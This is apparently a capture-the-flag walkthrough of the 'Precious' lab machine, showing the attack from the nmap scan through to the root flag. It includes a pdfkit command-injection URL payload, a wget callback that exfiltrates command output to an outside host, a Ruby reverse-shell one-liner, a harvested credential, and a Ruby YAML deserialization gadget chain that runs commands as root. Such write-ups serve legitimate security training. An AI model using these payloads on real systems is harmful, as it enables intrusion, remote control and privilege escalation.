Precious
- Date completed: 2023-02-17
- Difficulty: Easy
- OS: Linux
User flag
Running an nmap
scan reveals that there's a webserver and an ssh server running on the box.
$ nmap -sC -sV 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-17 17:47 CST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.074s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.38 seconds
The website is a webpage to pdf converter, which takes a url as input, then outputs a pdf.
I first attempted to load a few URLs like http://google.com/, but all attempts ended with a message of "Cannot load remote URL!".
I then made a test index.html file and started a webserver on my machine with:
$ sudo python -m http.server 80
I then entered http://10.10.14.169/index.html
on the website, which produced a pdf for download.
Examining the pdf metadata revealed that it was "Generated by pdfkit v0.8.6". I then searched the web for the software and found an exploit at https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795 .
I tested the exploit using the following url:
http://10.10.14.169/?name=#{'%20`sleep 10`'}
This time it took about 10 seconds longer to load, so it's vulnerable! I then tried a new command to see what user was running the service:
http://10.10.14.169/?name=#{'%20`wget 10.10.14.169/$(whoami)`'}
Then this showed up in the log for the python webserver:
... "GET /ruby HTTP/1.1" 404 -
So the user is ruby
. I figured ruby was probably installed on the system, so started a netcat listener on port 1234 and sent a ruby reverse shell:
http://10.10.14.169/?name=#{'%20`ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.10.14.169","1234");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'`'}
After poking around for a bit, I found that there was another user on the system, henry, and the user.txt
flag was in his home directory. I then ran a recursive grep and found something that looks an awful lot like credentials:
$ grep -r henry /home
...
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
...
I was then able to ssh in as henry, and get the user flag.
Root flag
The first thing to check for privilege escalation is to see what commands I can run through sudo
:
$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Looks like I can run one command, so let's see what's inside update_dependencies.rb
:
$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
And someone's using YAML.load()
here. This function is vulnerable to an attack using deserialization. Let's then make a payload to get the flag:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "cat /root/root.txt"
method_id: :resolve
Then run the one sudo
command we can use, and we've got all the flags!